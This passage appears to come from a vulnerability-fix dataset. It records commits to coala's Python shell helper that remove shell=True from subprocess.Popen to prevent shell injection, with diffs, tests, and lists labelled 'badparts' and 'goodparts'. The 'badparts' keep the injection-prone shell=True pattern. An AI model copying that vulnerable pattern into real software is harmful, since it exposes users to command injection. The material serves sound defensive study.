data.\n+ Runs a single command in shell and returns the read stdout and stderr data.\n+\n+ This function waits for the process (created using ``subprocess.Popen()``)\n+ to exit.\n+\n+ Shell execution is disabled by default (so no shell expansion takes place).\n+ If you want to turn shell execution on, you can pass ``shell=True`` like\n+ you would do for ``subprocess.Popen()``.\n \n- This function waits for the process to exit.\n+ See also ``run_interactive_shell_command()``.\n \n- :param command: The command to run on shell.\n+ :param command: The command to run on shell. This parameter can either\n+ be a sequence of arguments that are directly passed to\n+ the process or a string. A string gets splitted beforehand\n+ using ``shlex.split()``.\n :param stdin: Initial input to send to the process.\n- :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen``\n- that is used to spawn the process (except ``shell``,\n- ``stdout``, ``stderr``, ``stdin`` and\n+ :param kwargs: Additional keyword arguments to pass to\n+ ``subprocess.Popen`` that are used to spawn the process\n+ (except ``stdout``, ``stderr``, ``stdin`` and\n ``universal_newlines``, a ``TypeError`` is raised then).\n :return: A tuple with ``(stdoutstring, stderrstring)``.\n \"\"\"\n", "add": 16, "remove": 6, "filename": "/coalib/misc/Shell.py", "badparts": [" Runs a command in shell and returns the read stdout and stderr data.", " This function waits for the process to exit.", " :param command: The command to run on shell.", " :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen``", " that is used to spawn the process (except ``shell``,", " ``stdout``, ``stderr``, ``stdin`` and"], "goodparts": [" Runs a single command in shell and returns the read stdout and stderr data.", " This function waits for the process (created using ``subprocess.Popen()``)", " to exit.", " Shell execution is disabled by default (so no shell expansion takes place).", " If you want to turn shell execution on, you can pass ``shell=True`` like", " you would do for ``subprocess.Popen()``.", " See also ``run_interactive_shell_command()``.", " :param command: The command to run on shell. This parameter can either", " be a sequence of arguments that are directly passed to", " the process or a string. A string gets splitted beforehand", " using ``shlex.split()``.", " :param kwargs: Additional keyword arguments to pass to", " ``subprocess.Popen`` that are used to spawn the process", " (except ``stdout``, ``stderr``, ``stdin`` and"]}, {"diff": "\n Powershell is detected, \"cmd\" if command prompt is been\n detected or \"sh\" if it's neither of these.\n \"\"\"\n- out = run_shell_command(\"echo $host.name\")[0]\n+ out = run_shell_command(\"echo $host.name\", shell=True)[0]\n if out.strip() == \"ConsoleHost\":\n return \"powershell\"\n- out = run_shell_command(\"echo $0\")[0]\n+ out = run_shell_command(\"echo $0\", shell=True)[0]\n if out.strip() == \"$0\":\n return \"cmd\"\n return \"sh", "add": 2, "remove": 2, "filename": "/coalib/misc/Shell.py", "badparts": [" out = run_shell_command(\"echo $host.name\")[0]", " out = run_shell_command(\"echo $0\")[0]"], "goodparts": [" out = run_shell_command(\"echo $host.name\", shell=True)[0]", " out = run_shell_command(\"echo $0\", shell=True)[0]"]}], "source": "\nfrom contextlib import contextmanager from subprocess import PIPE, Popen from coalib.parsing.StringProcessing import escape @contextmanager def run_interactive_shell_command(command, **kwargs): \"\"\" Runs a command in shell and provides stdout, stderr and stdin streams. This function creates a context manager that sets up the process, returns to caller, closes streams and waits for process to exit on leaving. The process is opened in ``universal_newlines`` mode. :param command: The command to run on shell. :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen`` that is used to spawn the process(except ``shell``, ``stdout``, ``stderr``, ``stdin`` and ``universal_newlines``, a ``TypeError`` is raised then). :return: A context manager yielding the process started from the command. \"\"\" process=Popen(command, shell=True, stdout=PIPE, stderr=PIPE, stdin=PIPE, universal_newlines=True, **kwargs) try: yield process finally: process.stdout.close() process.stderr.close() process.stdin.close() process.wait() def run_shell_command(command, stdin=None, **kwargs): \"\"\" Runs a command in shell and returns the read stdout and stderr data. This function waits for the process to exit. :param command: The command to run on shell. :param stdin: Initial input to send to the process. :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen`` that is used to spawn the process(except ``shell``, ``stdout``, ``stderr``, ``stdin`` and ``universal_newlines``, a ``TypeError`` is raised then). :return: A tuple with ``(stdoutstring, stderrstring)``. \"\"\" with run_interactive_shell_command(command, **kwargs) as p: ret=p.communicate(stdin) return ret def get_shell_type(): \"\"\" Finds the current shell type based on the outputs of common pre-defined variables in them. This is useful to identify which sort of escaping is required for strings. :return: The shell type. This can be either \"powershell\" if Windows Powershell is detected, \"cmd\" if command prompt is been detected or \"sh\" if it's neither of these. \"\"\" out=run_shell_command(\"echo $host.name\")[0] if out.strip()==\"ConsoleHost\": return \"powershell\" out=run_shell_command(\"echo $0\")[0] if out.strip()==\"$0\": return \"cmd\" return \"sh\" def prepare_string_argument(string, shell=get_shell_type()): \"\"\" Prepares a string argument for being passed as a parameter on shell. On ``sh`` this function effectively encloses the given string with quotes(either '' or \"\", depending on content). :param string: The string to prepare for shell. :param shell: The shell platform to prepare string argument for. If it is not \"sh\" it will be ignored and return the given string without modification. :return: The shell-prepared string. \"\"\" if shell==\"sh\": return '\"' +escape(string, '\"') +'\"' else: return string def escape_path_argument(path, shell=get_shell_type()): \"\"\" Makes a raw path ready for using as parameter in a shell command(escapes illegal characters, surrounds with quotes etc.). :param path: The path to make ready for shell. :param shell: The shell platform to escape the path argument for. Possible values are \"sh\", \"powershell\", and \"cmd\"(others will be ignored and return the given path without modification). :return: The escaped path argument. \"\"\" if shell==\"cmd\": return '\"' +escape(path, '\"', '^') +'\"' elif shell==\"sh\": return escape(path, \" \") else: return path ", "sourceWithComments": "from contextlib import contextmanager\nfrom subprocess import PIPE, Popen\n\nfrom coalib.parsing.StringProcessing import escape\n\n\n@contextmanager\ndef run_interactive_shell_command(command, **kwargs):\n \"\"\"\n Runs a command in shell and provides stdout, stderr and stdin streams.\n\n This function creates a context manager that sets up the process, returns\n to caller, closes streams and waits for process to exit on leaving.\n\n The process is opened in ``universal_newlines`` mode.\n\n :param command: The command to run on shell.\n :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen``\n that is used to spawn the process (except ``shell``,\n ``stdout``, ``stderr``, ``stdin`` and\n ``universal_newlines``, a ``TypeError`` is raised then).\n :return: A context manager yielding the process started from the\n command.\n \"\"\"\n process = Popen(command,\n shell=True,\n stdout=PIPE,\n stderr=PIPE,\n stdin=PIPE,\n universal_newlines=True,\n **kwargs)\n try:\n yield process\n finally:\n process.stdout.close()\n process.stderr.close()\n process.stdin.close()\n process.wait()\n\n\ndef run_shell_command(command, stdin=None, **kwargs):\n \"\"\"\n Runs a command in shell and returns the read stdout and stderr data.\n\n This function waits for the process to exit.\n\n :param command: The command to run on shell.\n :param stdin: Initial input to send to the process.\n :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen``\n that is used to spawn the process (except ``shell``,\n ``stdout``, ``stderr``, ``stdin`` and\n ``universal_newlines``, a ``TypeError`` is raised then).\n :return: A tuple with ``(stdoutstring, stderrstring)``.\n \"\"\"\n with run_interactive_shell_command(command, **kwargs) as p:\n ret = p.communicate(stdin)\n return ret\n\n\ndef get_shell_type(): # pragma: no cover\n \"\"\"\n Finds the current shell type based on the outputs of common pre-defined\n variables in them. This is useful to identify which sort of escaping\n is required for strings.\n\n :return: The shell type. This can be either \"powershell\" if Windows\n Powershell is detected, \"cmd\" if command prompt is been\n detected or \"sh\" if it's neither of these.\n \"\"\"\n out = run_shell_command(\"echo $host.name\")[0]\n if out.strip() == \"ConsoleHost\":\n return \"powershell\"\n out = run_shell_command(\"echo $0\")[0]\n if out.strip() == \"$0\":\n return \"cmd\"\n return \"sh\"\n\n\ndef prepare_string_argument(string, shell=get_shell_type()):\n \"\"\"\n Prepares a string argument for being passed as a parameter on shell.\n\n On ``sh`` this function effectively encloses the given string\n with quotes (either '' or \"\", depending on content).\n\n :param string: The string to prepare for shell.\n :param shell: The shell platform to prepare string argument for.\n If it is not \"sh\" it will be ignored and return the\n given string without modification.\n :return: The shell-prepared string.\n \"\"\"\n if shell == \"sh\":\n return '\"' + escape(string, '\"') + '\"'\n else:\n return string\n\n\ndef escape_path_argument(path, shell=get_shell_type()):\n \"\"\"\n Makes a raw path ready for using as parameter in a shell command (escapes\n illegal characters, surrounds with quotes etc.).\n\n :param path: The path to make ready for shell.\n :param shell: The shell platform to escape the path argument for. Possible\n values are \"sh\", \"powershell\", and \"cmd\" (others will be\n ignored and return the given path without modification).\n :return: The escaped path argument.\n \"\"\"\n if shell == \"cmd\":\n # If a quote (\") occurs in path (which is illegal for NTFS file\n # systems, but maybe for others), escape it by preceding it with\n # a caret (^).\n return '\"' + escape(path, '\"', '^') + '\"'\n elif shell == \"sh\":\n return escape(path, \" \")\n else:\n # Any other non-supported system doesn't get a path escape.\n return path\n"}, "/tests/misc/ShellTest.py": {"changes": [{"diff": "\n \n @staticmethod\n def construct_testscript_command(scriptname):\n- return \" \".join(\n- escape_path_argument(s) for s in (\n- sys.executable,\n+ return (sys.executable,\n os.path.join(os.path.dirname(os.path.realpath(__file__)),\n \"run_shell_command_testfiles\",\n- scriptname)))\n+ scriptname))\n \n def test_run_interactive_shell_command(self):\n command = RunShellCommandTest.construct_testscript_command(\n", "add": 2, "remove": 4, "filename": "/tests/misc/ShellTest.py", "badparts": [" return \" \".join(", " escape_path_argument(s) for s in (", " sys.executable,", " scriptname)))"], "goodparts": [" return (sys.executable,", " scriptname))"]}, {"diff": "\n \n # Test one of the forbidden parameters.\n with self.assertRaises(TypeError):\n- with run_interactive_shell_command(\"some_command\", shell=False):\n+ with run_interactive_shell_command(\"some_command\", stdout=None):\n pass\n \n def test_run_shell_command_without_stdin(self):\n", "add": 1, "remove": 1, "filename": "/tests/misc/ShellTest.py", "badparts": [" with run_interactive_shell_command(\"some_command\", shell=False):"], "goodparts": [" with run_interactive_shell_command(\"some_command\", stdout=None):"]}], "source": "\nimport os import sys import unittest from coalib.misc.Shell import( escape_path_argument, prepare_string_argument, run_interactive_shell_command, run_shell_command) class EscapePathArgumentTest(unittest.TestCase): def test_escape_path_argument_sh(self): _type=\"sh\" self.assertEqual( escape_path_argument(\"/home/usr/a-file\", _type), \"/home/usr/a-file\") self.assertEqual( escape_path_argument(\"/home/usr/a-dir/\", _type), \"/home/usr/a-dir/\") self.assertEqual( escape_path_argument(\"/home/us r/a-file with spaces.bla\", _type), \"/home/us\\\\ r/a-file\\\\ with\\\\ spaces.bla\") self.assertEqual( escape_path_argument(\"/home/us r/a-dir with spaces/x/\", _type), \"/home/us\\\\ r/a-dir\\\\ with\\\\ spaces/x/\") self.assertEqual( escape_path_argument( \"relative something/with cherries and/pickles.delicious\", _type), \"relative\\\\ something/with\\\\ cherries\\\\ and/pickles.delicious\") def test_escape_path_argument_cmd(self): _type=\"cmd\" self.assertEqual( escape_path_argument(\"C:\\\\Windows\\\\has-a-weird-shell.txt\", _type), \"\\\"C:\\\\Windows\\\\has-a-weird-shell.txt\\\"\") self.assertEqual( escape_path_argument(\"C:\\\\Windows\\\\lolrofl\\\\dirs\\\\\", _type), \"\\\"C:\\\\Windows\\\\lolrofl\\\\dirs\\\\\\\"\") self.assertEqual( escape_path_argument(\"X:\\\\Users\\\\Maito Gai\\\\fi le.exe\", _type), \"\\\"X:\\\\Users\\\\Maito Gai\\\\fi le.exe\\\"\") self.assertEqual( escape_path_argument(\"X:\\\\Users\\\\Mai to Gai\\\\director y\\\\\", _type), \"\\\"X:\\\\Users\\\\Mai to Gai\\\\director y\\\\\\\"\") self.assertEqual( escape_path_argument(\"X:\\\\Users\\\\Maito Gai\\\\\\\"seven-gates\\\".y\", _type), \"\\\"X:\\\\Users\\\\Maito Gai\\\\^\\\"seven-gates^\\\".y\\\"\") self.assertEqual( escape_path_argument(\"System32\\\\my-custom relative tool\\\\\", _type), \"\\\"System32\\\\my-custom relative tool\\\\\\\"\") self.assertEqual( escape_path_argument(\"System32\\\\illegal\\\" name \\\"\\\".curd\", _type), \"\\\"System32\\\\illegal^\\\" name ^\\\"^\\\".curd\\\"\") def test_escape_path_argument_unsupported(self): _type=\"INVALID\" self.assertEqual( escape_path_argument(\"/home/usr/a-file\", _type), \"/home/usr/a-file\") self.assertEqual( escape_path_argument(\"/home/us r/a-file with spaces.bla\", _type), \"/home/us r/a-file with spaces.bla\") self.assertEqual( escape_path_argument(\"|home|us r|a*dir with spaces|x|\", _type), \"|home|us r|a*dir with spaces|x|\") self.assertEqual( escape_path_argument(\"system|a|b|c?d\", _type), \"system|a|b|c?d\") class RunShellCommandTest(unittest.TestCase): @staticmethod def construct_testscript_command(scriptname): return \" \".join( escape_path_argument(s) for s in( sys.executable, os.path.join(os.path.dirname(os.path.realpath(__file__)), \"run_shell_command_testfiles\", scriptname))) def test_run_interactive_shell_command(self): command=RunShellCommandTest.construct_testscript_command( \"test_interactive_program.py\") with run_interactive_shell_command(command) as p: self.assertEqual(p.stdout.readline(), \"test_program X\\n\") self.assertEqual(p.stdout.readline(), \"Type in a number:\\n\") p.stdin.write(\"33\\n\") p.stdin.flush() self.assertEqual(p.stdout.readline(), \"33\\n\") self.assertEqual(p.stdout.readline(), \"Exiting program.\\n\") def test_run_interactive_shell_command_kwargs_delegation(self): with self.assertRaises(TypeError): with run_interactive_shell_command(\"some_command\", weird_parameter=30): pass with self.assertRaises(TypeError): with run_interactive_shell_command(\"some_command\", shell=False): pass def test_run_shell_command_without_stdin(self): command=RunShellCommandTest.construct_testscript_command( \"test_program.py\") stdout, stderr=run_shell_command(command) expected=(\"test_program Z\\n\" \"non-interactive mode.\\n\" \"Exiting...\\n\") self.assertEqual(stdout, expected) self.assertEqual(stderr, \"\") def test_run_shell_command_with_stdin(self): command=RunShellCommandTest.construct_testscript_command( \"test_input_program.py\") stdout, stderr=run_shell_command(command, \"1 4 10 22\") self.assertEqual(stdout, \"37\\n\") self.assertEqual(stderr, \"\") stdout, stderr=run_shell_command(command, \"1 p 5\") self.assertEqual(stdout, \"\") self.assertEqual(stderr, \"INVALID INPUT\\n\") def test_run_shell_command_kwargs_delegation(self): with self.assertRaises(TypeError): run_shell_command(\"super-cool-command\", weird_parameter2=\"abc\") with self.assertRaises(TypeError): run_shell_command(\"super-cool-command\", universal_newlines=False) class PrepareStringArgumentTest(unittest.TestCase): def setUp(self): self.test_strings=(\"normal_string\", \"string with spaces\", 'string with quotes\"a', \"string with s-quotes'b\", \"bsn \\n A\", \"unrecognized \\\\q escape\") def test_prepare_string_argument_sh(self): expected_results=('\"normal_string\"', '\"string with spaces\"', '\"string with quotes\\\\\"a\"', '\"string with s-quotes\\'b\"', '\"bsn \\n A\"', '\"unrecognized \\\\q escape\"') for string, result in zip(self.test_strings, expected_results): self.assertEqual(prepare_string_argument(string, \"sh\"), result) def test_prepare_string_argument_unsupported(self): for string in self.test_strings: self.assertEqual(prepare_string_argument(string, \"WeIrD_O/S\"), string) ", "sourceWithComments": "import os\nimport sys\nimport unittest\n\nfrom coalib.misc.Shell import (\n escape_path_argument, prepare_string_argument,\n run_interactive_shell_command, run_shell_command)\n\n\nclass EscapePathArgumentTest(unittest.TestCase):\n\n def test_escape_path_argument_sh(self):\n _type = \"sh\"\n self.assertEqual(\n escape_path_argument(\"/home/usr/a-file\", _type),\n \"/home/usr/a-file\")\n self.assertEqual(\n escape_path_argument(\"/home/usr/a-dir/\", _type),\n \"/home/usr/a-dir/\")\n self.assertEqual(\n escape_path_argument(\"/home/us r/a-file with spaces.bla\",\n _type),\n \"/home/us\\\\ r/a-file\\\\ with\\\\ spaces.bla\")\n self.assertEqual(\n escape_path_argument(\"/home/us r/a-dir with spaces/x/\",\n _type),\n \"/home/us\\\\ r/a-dir\\\\ with\\\\ spaces/x/\")\n self.assertEqual(\n escape_path_argument(\n \"relative something/with cherries and/pickles.delicious\",\n _type),\n \"relative\\\\ something/with\\\\ cherries\\\\ and/pickles.delicious\")\n\n def test_escape_path_argument_cmd(self):\n _type = \"cmd\"\n self.assertEqual(\n escape_path_argument(\"C:\\\\Windows\\\\has-a-weird-shell.txt\", _type),\n \"\\\"C:\\\\Windows\\\\has-a-weird-shell.txt\\\"\")\n self.assertEqual(\n escape_path_argument(\"C:\\\\Windows\\\\lolrofl\\\\dirs\\\\\", _type),\n \"\\\"C:\\\\Windows\\\\lolrofl\\\\dirs\\\\\\\"\")\n self.assertEqual(\n escape_path_argument(\"X:\\\\Users\\\\Maito Gai\\\\fi le.exe\", _type),\n \"\\\"X:\\\\Users\\\\Maito Gai\\\\fi le.exe\\\"\")\n self.assertEqual(\n escape_path_argument(\"X:\\\\Users\\\\Mai to Gai\\\\director y\\\\\",\n _type),\n \"\\\"X:\\\\Users\\\\Mai to Gai\\\\director y\\\\\\\"\")\n self.assertEqual(\n escape_path_argument(\"X:\\\\Users\\\\Maito Gai\\\\\\\"seven-gates\\\".y\",\n _type),\n \"\\\"X:\\\\Users\\\\Maito Gai\\\\^\\\"seven-gates^\\\".y\\\"\")\n self.assertEqual(\n escape_path_argument(\"System32\\\\my-custom relative tool\\\\\",\n _type),\n \"\\\"System32\\\\my-custom relative tool\\\\\\\"\")\n self.assertEqual(\n escape_path_argument(\"System32\\\\illegal\\\" name \\\"\\\".curd\", _type),\n \"\\\"System32\\\\illegal^\\\" name ^\\\"^\\\".curd\\\"\")\n\n def test_escape_path_argument_unsupported(self):\n _type = \"INVALID\"\n self.assertEqual(\n escape_path_argument(\"/home/usr/a-file\", _type),\n \"/home/usr/a-file\")\n self.assertEqual(\n escape_path_argument(\"/home/us r/a-file with spaces.bla\", _type),\n \"/home/us r/a-file with spaces.bla\")\n self.assertEqual(\n escape_path_argument(\"|home|us r|a*dir with spaces|x|\", _type),\n \"|home|us r|a*dir with spaces|x|\")\n self.assertEqual(\n escape_path_argument(\"system|a|b|c?d\", _type),\n \"system|a|b|c?d\")\n\n\nclass RunShellCommandTest(unittest.TestCase):\n\n @staticmethod\n def construct_testscript_command(scriptname):\n return \" \".join(\n escape_path_argument(s) for s in (\n sys.executable,\n os.path.join(os.path.dirname(os.path.realpath(__file__)),\n \"run_shell_command_testfiles\",\n scriptname)))\n\n def test_run_interactive_shell_command(self):\n command = RunShellCommandTest.construct_testscript_command(\n \"test_interactive_program.py\")\n\n with run_interactive_shell_command(command) as p:\n self.assertEqual(p.stdout.readline(), \"test_program X\\n\")\n self.assertEqual(p.stdout.readline(), \"Type in a number:\\n\")\n p.stdin.write(\"33\\n\")\n p.stdin.flush()\n self.assertEqual(p.stdout.readline(), \"33\\n\")\n self.assertEqual(p.stdout.readline(), \"Exiting program.\\n\")\n\n def test_run_interactive_shell_command_kwargs_delegation(self):\n with self.assertRaises(TypeError):\n with run_interactive_shell_command(\"some_command\",\n weird_parameter=30):\n pass\n\n # Test one of the forbidden parameters.\n with self.assertRaises(TypeError):\n with run_interactive_shell_command(\"some_command\", shell=False):\n pass\n\n def test_run_shell_command_without_stdin(self):\n command = RunShellCommandTest.construct_testscript_command(\n \"test_program.py\")\n\n stdout, stderr = run_shell_command(command)\n\n expected = (\"test_program Z\\n\"\n \"non-interactive mode.\\n\"\n \"Exiting...\\n\")\n self.assertEqual(stdout, expected)\n self.assertEqual(stderr, \"\")\n\n def test_run_shell_command_with_stdin(self):\n command = RunShellCommandTest.construct_testscript_command(\n \"test_input_program.py\")\n\n stdout, stderr = run_shell_command(command, \"1 4 10 22\")\n\n self.assertEqual(stdout, \"37\\n\")\n self.assertEqual(stderr, \"\")\n\n stdout, stderr = run_shell_command(command, \"1 p 5\")\n\n self.assertEqual(stdout, \"\")\n self.assertEqual(stderr, \"INVALID INPUT\\n\")\n\n def test_run_shell_command_kwargs_delegation(self):\n with self.assertRaises(TypeError):\n run_shell_command(\"super-cool-command\", weird_parameter2=\"abc\")\n\n # Test one of the forbidden parameters.\n with self.assertRaises(TypeError):\n run_shell_command(\"super-cool-command\", universal_newlines=False)\n\n\nclass PrepareStringArgumentTest(unittest.TestCase):\n\n def setUp(self):\n self.test_strings = (\"normal_string\",\n \"string with spaces\",\n 'string with quotes\"a',\n \"string with s-quotes'b\",\n \"bsn \\n A\",\n \"unrecognized \\\\q escape\")\n\n def test_prepare_string_argument_sh(self):\n expected_results = ('\"normal_string\"',\n '\"string with spaces\"',\n '\"string with quotes\\\\\"a\"',\n '\"string with s-quotes\\'b\"',\n '\"bsn \\n A\"',\n '\"unrecognized \\\\q escape\"')\n\n for string, result in zip(self.test_strings, expected_results):\n self.assertEqual(prepare_string_argument(string, \"sh\"),\n result)\n\n def test_prepare_string_argument_unsupported(self):\n for string in self.test_strings:\n self.assertEqual(prepare_string_argument(string, \"WeIrD_O/S\"),\n string)\n"}}, "msg": "Shell.run_shell_command: Remove `shell=True`\n\nThis protects us against shell injection and also surprises due to\nshell interpretation.\n\nFor compatability use `shlex.split()` when providing a string as a\ncommand and not a sequence.\n\nAlso the `ShellTest` needs adaption since it used a shell-command\nbefore which is not possible any more. Now argument-lists are used\ninstead.\n\n`Lint` does still use `shell=True` for compatability purposes. This\nwill be changed in following commits.\n\nThis reintroduces commit adc94c745e4d9f792fd9c9791c7b4cd8790d0d2f."}}, "https://github.com/rimacone/testing2": {"adc94c745e4d9f792fd9c9791c7b4cd8790d0d2f": {"url": "https://api.github.com/repos/rimacone/testing2/commits/adc94c745e4d9f792fd9c9791c7b4cd8790d0d2f", "html_url": "https://github.com/rimacone/testing2/commit/adc94c745e4d9f792fd9c9791c7b4cd8790d0d2f", "sha": "adc94c745e4d9f792fd9c9791c7b4cd8790d0d2f", "keyword": "command injection protect", "diff": "diff --git a/coalib/misc/Shell.py b/coalib/misc/Shell.py\nindex 951052b5..46c264ce 100644\n--- a/coalib/misc/Shell.py\n+++ b/coalib/misc/Shell.py\n@@ -1,4 +1,5 @@\n from contextlib import contextmanager\n+import shlex\n from subprocess import PIPE, Popen\n \n from coalib.parsing.StringProcessing import escape\n@@ -7,23 +8,34 @@\n @contextmanager\n def run_interactive_shell_command(command, **kwargs):\n \"\"\"\n- Runs a command in shell and provides stdout, stderr and stdin streams.\n+ Runs a single command in shell and provides stdout, stderr and stdin\n+ streams.\n \n- This function creates a context manager that sets up the process, returns\n- to caller, closes streams and waits for process to exit on leaving.\n+ This function creates a context manager that sets up the process (using\n+ `subprocess.Popen()`), returns to caller, closes streams and waits for\n+ process to exit on leaving.\n \n- The process is opened in `universal_newlines` mode.\n+ Shell execution is disabled by default (so no shell expansion takes place).\n+ If you want to turn shell execution on, you can pass `shell=True` like you\n+ would do for `subprocess.Popen()`.\n \n- :param command: The command to run on shell.\n+ The process is opened in `universal_newlines` mode by default.\n+\n+ :param command: The command to run on shell. This parameter can either\n+ be a sequence of arguments that are directly passed to\n+ the process or a string. A string gets splitted beforehand\n+ using `shlex.split()`.\n :param kwargs: Additional keyword arguments to pass to `subprocess.Popen`\n- that is used to spawn the process (except `shell`,\n- `stdout`, `stderr`, `stdin` and `universal_newlines`, a\n- `TypeError` is raised then).\n+ that is used to spawn the process (except `stdout`,\n+ `stderr`, `stdin` and `universal_newlines`, a `TypeError`\n+ is raised then).\n :return: A context manager yielding the process started from the\n command.\n \"\"\"\n+ if isinstance(command, str):\n+ command = shlex.split(command)\n+\n process = Popen(command,\n- shell=True,\n stdout=PIPE,\n stderr=PIPE,\n stdin=PIPE,\n@@ -40,16 +52,26 @@ def run_interactive_shell_command(command, **kwargs):\n \n def run_shell_command(command, stdin=None, **kwargs):\n \"\"\"\n- Runs a command in shell and returns the read stdout and stderr data.\n+ Runs a single command in shell and returns the read stdout and stderr data.\n+\n+ This function waits for the process (created using `subprocess.Popen()`) to\n+ exit.\n+\n+ Shell execution is disabled by default (so no shell expansion takes place).\n+ If you want to turn shell execution on, you can pass `shell=True` like you\n+ would do for `subprocess.Popen()`.\n \n- This function waits for the process to exit.\n+ See also `run_interactive_shell_command()`.\n \n- :param command: The command to run on shell.\n+ :param command: The command to run on shell. This parameter can either\n+ be a sequence of arguments that are directly passed to\n+ the process or a string. A string gets splitted beforehand\n+ using `shlex.split()`.\n :param stdin: Initial input to send to the process.\n :param kwargs: Additional keyword arguments to pass to `subprocess.Popen`\n- that is used to spawn the process (except `shell`,\n- `stdout`, `stderr`, `stdin` and `universal_newlines`, a\n- `TypeError` is raised then).\n+ that is used to spawn the process (except `stdout`,\n+ `stderr`, `stdin` and `universal_newlines`, a `TypeError`\n+ is raised then).\n :return: A tuple with `(stdoutstring, stderrstring)`.\n \"\"\"\n with run_interactive_shell_command(command, **kwargs) as p:\n@@ -67,10 +89,10 @@ def get_shell_type(): # pragma: no cover\n Powershell is detected, \"cmd\" if command prompt is been\n detected or \"sh\" if it's neither of these.\n \"\"\"\n- out_hostname, _ = run_shell_command([\"echo\", \"$host.name\"])\n+ out_hostname, _ = run_shell_command([\"echo\", \"$host.name\"], shell=True)\n if out_hostname.strip() == \"ConsoleHost\":\n return \"powershell\"\n- out_0, _ = run_shell_command([\"echo\", \"$0\"])\n+ out_0, _ = run_shell_command([\"echo\", \"$0\"], shell=True)\n if out_0.strip() == \"\" and out_0.strip() == \"\":\n return \"cmd\"\n return \"sh\"\ndiff --git a/coalib/tests/bearlib/abstractions/LintTest.py b/coalib/tests/bearlib/abstractions/LintTest.py\nindex fabee38a..4f5a3860 100644\n--- a/coalib/tests/bearlib/abstractions/LintTest.py\n+++ b/coalib/tests/bearlib/abstractions/LintTest.py\n@@ -1,4 +1,5 @@\n import os\n+import platform\n import unittest\n \n from coalib.bearlib.abstractions.Lint import Lint\n@@ -70,7 +71,12 @@ def test_stdin_input(self):\n with prepare_file([\"abcd\", \"efgh\"], None) as (lines, filename):\n # Use more which is a command that can take stdin and show it.\n # This is available in windows and unix.\n- self.uut.executable = \"more\"\n+ if platform.system() == \"Windows\":\n+ # Windows maps `more.com` to `more` only in shell, but `Lint`\n+ # doesn't use it.\n+ self.uut.executable = \"more.com\"\n+ else:\n+ self.uut.executable = \"more\"\n self.uut.use_stdin = True\n self.uut.use_stderr = False\n self.uut.process_output = lambda output, filename, file: output\ndiff --git a/coalib/tests/misc/ShellTest.py b/coalib/tests/misc/ShellTest.py\nindex f96080fa..19dfadac 100644\n--- a/coalib/tests/misc/ShellTest.py\n+++ b/coalib/tests/misc/ShellTest.py\n@@ -78,12 +78,10 @@ class RunShellCommandTest(unittest.TestCase):\n \n @staticmethod\n def construct_testscript_command(scriptname):\n- return \" \".join(\n- escape_path_argument(s) for s in (\n- sys.executable,\n+ return (sys.executable,\n os.path.join(os.path.dirname(os.path.realpath(__file__)),\n \"run_shell_command_testfiles\",\n- scriptname)))\n+ scriptname))\n \n def test_run_interactive_shell_command(self):\n command = RunShellCommandTest.construct_testscript_command(\n@@ -105,7 +103,7 @@ def test_run_interactive_shell_command_kwargs_delegation(self):\n \n # Test one of the forbidden parameters.\n with self.assertRaises(TypeError):\n- with run_interactive_shell_command(\"some_command\", shell=False):\n+ with run_interactive_shell_command(\"some_command\", stdout=None):\n pass\n \n def test_run_shell_command_without_stdin(self):\n", "message": "", "files": {"/coalib/misc/Shell.py": {"changes": [{"diff": "\n def run_interactive_shell_command(command, **kwargs):\n \"\"\"\n- Runs a command in shell and provides stdout, stderr and stdin streams.\n+ Runs a single command in shell and provides stdout, stderr and stdin\n+ streams.\n \n- This function creates a context manager that sets up the process, returns\n- to caller, closes streams and waits for process to exit on leaving.\n+ This function creates a context manager that sets up the process (using\n+ `subprocess.Popen()`), returns to caller, closes streams and waits for\n+ process to exit on leaving.\n \n- The process is opened in `universal_newlines` mode.\n+ Shell execution is disabled by default (so no shell expansion takes place).\n+ If you want to turn shell execution on, you can pass `shell=True` like you\n+ would do for `subprocess.Popen()`.\n \n- :param command: The command to run on shell.\n+ The process is opened in `universal_newlines` mode by default.\n+\n+ :param command: The command to run on shell. This parameter can either\n+ be a sequence of arguments that are directly passed to\n+ the process or a string. A string gets splitted beforehand\n+ using `shlex.split()`.\n :param kwargs: Additional keyword arguments to pass to `subprocess.Popen`\n- that is used to spawn the process (except `shell`,\n- `stdout`, `stderr`, `stdin` and `universal_newlines`, a\n- `TypeError` is raised then).\n+ that is used to spawn the process (except `stdout`,\n+ `stderr`, `stdin` and `universal_newlines`, a `TypeError`\n+ is raised then).\n :return: A context manager yielding the process started from the\n command.\n \"\"\"\n+ if isinstance(command, str):\n+ command = shlex.split(command)\n+\n process = Popen(command,\n- shell=True,\n stdout=PIPE,\n stderr=PIPE,\n stdin=PIPE,\n", "add": 20, "remove": 9, "filename": "/coalib/misc/Shell.py", "badparts": [" Runs a command in shell and provides stdout, stderr and stdin streams.", " This function creates a context manager that sets up the process, returns", " to caller, closes streams and waits for process to exit on leaving.", " The process is opened in `universal_newlines` mode.", " :param command: The command to run on shell.", " that is used to spawn the process (except `shell`,", " `stdout`, `stderr`, `stdin` and `universal_newlines`, a", " `TypeError` is raised then).", " shell=True,"], "goodparts": [" Runs a single command in shell and provides stdout, stderr and stdin", " streams.", " This function creates a context manager that sets up the process (using", " `subprocess.Popen()`), returns to caller, closes streams and waits for", " process to exit on leaving.", " Shell execution is disabled by default (so no shell expansion takes place).", " If you want to turn shell execution on, you can pass `shell=True` like you", " would do for `subprocess.Popen()`.", " The process is opened in `universal_newlines` mode by default.", " :param command: The command to run on shell. This parameter can either", " be a sequence of arguments that are directly passed to", " the process or a string. A string gets splitted beforehand", " using `shlex.split()`.", " that is used to spawn the process (except `stdout`,", " `stderr`, `stdin` and `universal_newlines`, a `TypeError`", " is raised then).", " if isinstance(command, str):", " command = shlex.split(command)"]}, {"diff": "\n \n def run_shell_command(command, stdin=None, **kwargs):\n \"\"\"\n- Runs a command in shell and returns the read stdout and stderr data.\n+ Runs a single command in shell and returns the read stdout and stderr data.\n+\n+ This function waits for the process (created using `subprocess.Popen()`) to\n+ exit.\n+\n+ Shell execution is disabled by default (so no shell expansion takes place).\n+ If you want to turn shell execution on, you can pass `shell=True` like you\n+ would do for `subprocess.Popen()`.\n \n- This function waits for the process to exit.\n+ See also `run_interactive_shell_command()`.\n \n- :param command: The command to run on shell.\n+ :param command: The command to run on shell. This parameter can either\n+ be a sequence of arguments that are directly passed to\n+ the process or a string. A string gets splitted 